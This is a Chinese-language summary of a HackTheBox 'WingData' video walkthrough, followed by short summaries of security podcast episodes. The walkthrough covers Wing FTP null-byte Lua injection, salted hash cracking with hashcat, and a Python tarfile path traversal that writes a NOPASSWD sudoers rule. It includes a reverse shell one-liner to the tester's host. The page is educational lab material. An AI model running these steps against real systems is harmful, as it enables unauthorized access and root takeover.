KeyFrame內部研究專用

HackTheBox - WingData

IppSec·6月27日週六·42 min英文

三句話摘要

通過 Wing FTP null byte 注入、密碼破解與 Python tarfile CVE 實現 Hack The Box Wing Data 靶機的完整提權攻擊鏈 透過 null byte 注入、精確的密碼破解與 Python tarfile 路徑長度漏洞的組合利用,可完整實現從匿名遠端程式碼執行到 root 權限提升的攻擊鏈。 Wing FTP null byte 注入機制:應用於 C 語言中使用 null byte 終止的函數檢查使用者名稱,但後續 Lua 腳本使用長度終止的方式處理權限。攻擊者可構造 "anonymous\x00\n[lua程式碼]" 的使用者名稱,同時繞過 null byte 檢查與通過長度檢查,實現認證繞過與程式碼執行。

重點整理

重點
  • 1

    Wing FTP null byte 注入機制:應用於 C 語言中使用 null byte 終止的函數檢查使用者名稱,但後續 Lua 腳本使用長度終止的方式處理權限。攻擊者可構造 "anonymous\x00\n[lua程式碼]" 的使用者名稱,同時繞過 null byte 檢查與通過長度檢查,實現認證繞過與程式碼執行。

  • 2

    密碼 hash 破解的隱藏陷阱:Wing FTP 官方文檔記載密碼儲存時會加入 salt,預設值為 "wing ftp" 字串。若不知道 salt 存在,直接嘗試破解將永遠失敗。使用 hashcat 時需按 "hash:salt" 格式組織資料,才能正確破解。

  • 3

    Python tarfile CVE 路徑長度繞過:Linux 檔案路徑限制為 4096 位元組,當 tar 檔案中路徑超過 247 字元時,os.path.realpath() 函數失敗並返回原始路徑,導致目錄遍歷保護被繞過,攻擊者可向任意位置寫入檔案。

  • 4

    安全考慮的檔案寫入選擇:不建議直接覆蓋 ~/.ssh/authorized_keys(無法預先讀取避免摧毀),改用寫入 /etc/sudoers.d/ 的 sudoers 規則或修改應用程式碼等更安全方法獲得提權。

實用技巧與重點

乾貨
  • 漏洞版本與 CVE:
  • Wing FTP Server 版本:7.4.3
  • CVE-2023-7344:null byte 注入遠端程式碼執行
  • Python tarfile CVE:路徑長度繞過(Linux 247 字元限制、macOS 55 字元限制)
  • 密碼破解參數:
  • 演算法:SHA-256
  • 預設鹽值:wing ftp
  • Hashcat 模式:-m 1410
  • Hash 格式:hash:salt
  • 指令範例:`./hashcat -m 1410 hashes.txt wordlist.txt --username`
  • 利用工具與指令:
  • 反彈 shell 載荷(base64 編碼):`bash -i >& /dev/tcp/10.10.14.171/9001 0>&1`
  • 漏洞指令碼路徑:/opt/backup_clients/restore_backup_clients.py
  • Python 版本:Python 3.12(/usr/local/bin/python3)
  • Sudoers 規則語法:`username ALL=(ALL) NOPASSWD:ALL`
  • 寫入路徑:/etc/sudoers.d/(需無密碼 sudo 或已有檔案寫入權限)
  • 漏洞鏈操作步驟:
  • 構造 null byte 注入載荷登入 Wing FTP
  • 通過 lua 程式碼執行反彈 shell
  • 從配置擷取密碼 hash 與鹽值
  • 使用 hashcat 破解 wacky 使用者密碼
  • 建立超長路徑 tar 檔案繞過 realpath() 檢查
  • 寫入 sudoers 規則獲得 sudo 權限
  • 執行 `sudo bash` 獲得 root shell

結論

結論

透過 null byte 注入、精確的密碼破解與 Python tarfile 路徑長度漏洞的組合利用,可完整實現從匿名遠端程式碼執行到 root 權限提升的攻擊鏈。

完整解析

詳細

Wing Data 是一個多層次漏洞的組合攻擊靶機。初期偵查發現 HTTP 和 SSH 服務,訪問 HTTP 頁面後在頁面內鏈結中發現 FTP 服務指向 ftp.wingdata.htb。通過 CVE 資料庫檢索 Wing FTP 7.4.3 版本,發現 CVE-2023-7344 null byte 注入漏洞可實現遠端程式碼執行。

該漏洞的根源在於 Wing FTP 的認證邏輯設計缺陷。使用者名稱驗證採用 C 語言的 null byte 終止函數(只讀取到第一個 null byte),但後續權限檢查的 Lua 腳本採用長度終止方式(處理整個字串)。攻擊者利用此差異,將使用者名稱設為 "anonymous\x00\n[lua 程式碼]",同時滿足兩種驗證方式。講者通過該漏洞以 anonymous 身份註入 Lua 程式碼,在伺服器端執行任意命令。為避免特殊字元編碼問題導致 base64 載荷損壞,講者將反彈 shell 命令編碼為 base64,再透過 URL 編碼將所有空格轉換為加號,最終成功建立反向連線。

獲得初始存取後,講者從應用程式配置目錄提取所有使用者密碼 hash。關鍵發現是所有 hash 皆使用 SHA-256 演算法,且附加鹽值。通過檢視官方文檔與配置檔案,確認預設鹽值為字串 "wing ftp"。這是許多滲透測試人員的常見陷阱——不知道鹽值存在,導致持續破解失敗。使用 hashcat 工具配合正確的鹽值格式(hash:salt),快速破解出 wacky 使用者密碼。

登入 wacky 使用者後,sudo 權限檢查顯示可執行 /opt/backup_clients/restore_backup_clients.py。該指令碼使用 Python 3.12(由系統管理員單獨安裝在 /usr/local/bin,脫離套件管理)處理 tar 檔案備份與恢復。檢視原始碼發現其使用 Python tarfile 模組,該模組存在 CVE 漏洞。

漏洞利用依賴 Linux 檔案路徑長度限制。當路徑超過 247 字元時,os.path.realpath() 函數會失敗並返回原始路徑。指令碼使用 realpath() 來防止符號連結逃逸,但當 tar 檔案內包含超長路徑時,防護機制被繞過。講者建立包含大量 "../" 序列的長路徑 tar 檔案,實現路徑遍歷突破,最終成功向 /etc/sudoers.d 目錄寫入新的 sudoers 規則,為 wacky 使用者添加無密碼 sudo 權限,執行 `sudo bash` 獲得 root shell。講者特別說明未直接覆蓋 ~/.ssh/authorized_keys 的原因,是因為無法預先讀取該檔案內容,直接覆蓋可能會摧毀生產環境中的其他使用者金鑰。

關鍵時刻

Pipeline v2

帶時間戳的重點,會在逐字稿層級分析上線後產生。目前請先透過原始影片觀看。

事實查核

Pipeline v2

說法查證是下一次管線升級的一部分。KeyFrame 只會顯示它真正能驗證的內容。

更多「Web2 安全」的內容

SANS Stormcast Tuesday, August 25th, 2026: DOUBLECUP PNG; WebAudio Fingerprinting; Expired Domains; Android; Car
7 min
Web2 安全英文PODCAST8月25日

SANS Stormcast Tuesday, August 25th, 2026: DOUBLECUP PNG; WebAudio Fingerprinting; Expired Domains; Android; Car

SANS Stormcast

  • PNG 容器攻擊的簡易性設計:Double Cup 不依賴複雜的 Exif 或隱寫技術,只用 PNG 副檔名和檔頭來偽裝,核心是利用 findstr 指令的常見可用性讓執行變得無需額外工具。
  • Web Audio API 的隱密指紋識別:音訊於增益零的無聲狀態下播放,使用者完全無感,但錄製波形足以建立裝置特徵,在瀏覽器原生功能層面難以區分是反詐欺還是過度追蹤。
  • 域名過期引發的串聯漏洞:DMARC 報告端點使用過期域名是常見疏漏,允許攻擊者透過簡單的域名註冊取得他人的 SPF/DKIM 錯誤報告,進而收集目標系統配置情報。
Risky Bulletin: Expired credit cards can be used for malicious transactions
5 min
Web2 安全英文PODCAST8月24日

Risky Bulletin: Expired credit cards can be used for malicious transactions

Risky Business

  • 支付安全的非對稱風險:Visa卡利用未加密的卡片資料與NFC通訊,攻擊者可藉由中間人技術竄改過期日期進行交易,但MasterCard、美運卡與Discover的防護更完善,顯示不同發卡機構的安全架構存在明顯差異。
  • 國家級駭客活動的連鎖延伸:北韓Lazarus集團在2月單一事件已累積100名受害者,涵蓋大學、警察部門、媒體與醫療機構,伊朗駭客則針對基礎建設如電力系統發動破壞性攻擊,反映地緣政治在網路戰爭中的升溫。
  • AI加速漏洞生態的雙面刃:AI工具催生近2萬份漏洞概念驗證代碼發布,但同時也導致大量失效漏洞代碼氾濫,增加資安團隊甄別真實威脅的難度;Mayer Protocol遭攻擊事件中,駭客用AI鏈接六個無關的小漏洞完成盜竊170萬美元的攻擊。
SANS Stormcast Monday, August 24th, 2026: More Entra Powershell; Entra Vulnerability; GitLab Vuln (and PoC); GTA 6 Leak Malware
5 min
Web2 安全英文PODCAST8月24日

SANS Stormcast Monday, August 24th, 2026: More Entra Powershell; Entra Vulnerability; GitLab Vuln (and PoC); GTA 6 Leak Malware

SANS Stormcast

  • Microsoft EntraID 的遠端代碼執行漏洞已由微軟修補,初期報告顯示已遭利用但後來更正為未遭利用。這反映 Microsoft 在雲端軟體安全上的透明度提升,對漏洞採用與內部軟體相同的 CVE 編號和公告流程。
  • PowerShell 指令碼可用於驗證 MFA 部署完整性,特別是找出未啟用 MFA 的遺漏帳號。同時可以分析 EntraID 登入日誌中的異常行為,如風險係數評估和地理位置檢測,幫助組織快速識別可疑登入。
  • GitLab 的 GraphQL 代碼注入漏洞允許未認證攻擊者刪除或修改儲存庫,潛在導致供應鏈攻擊。已有公開概念驗證 (PoC) 存在,使用內部部署 GitLab 的組織必須立即修補。